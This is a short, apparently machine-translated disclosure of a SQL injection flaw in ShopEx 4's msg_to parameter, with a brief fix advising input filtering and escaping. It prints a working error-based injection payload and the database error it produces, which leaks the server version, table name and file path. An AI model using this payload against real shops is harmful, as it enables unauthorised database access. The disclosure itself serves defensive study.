SHOPEX & gt; 4 SQL injection vulnerability and repair solution

The client's controllable parameters are not verified for security, resulting in the SQL injection vulnerability. Details: specify the value of msg_to as ggbond 'or 1 = (select 1 from (select count (*), concat (floor (rand (0) * 2 ), (select @ version) a from information_schema.tables group by a) B) # The database version information of www.2cto.com is displayed. Warning: SELECT member_id FROM sdb_members WHERE uname = 'ggbond 'or 1 = (select 1 from (select count (*), concat (floor (rand (0) * 2 ), (select @ version) a from information_schema.tables group by a) B) # 'limit 0, 1: Duplicate entry '15. 1.38-log 'for key' group _ key' in/data/htdocs/www/core/include_v5/AloneDB. php on line 58 cannot find the user you entered!

Solution: filter, verify, and escape variables from the client. You are better at it than I do;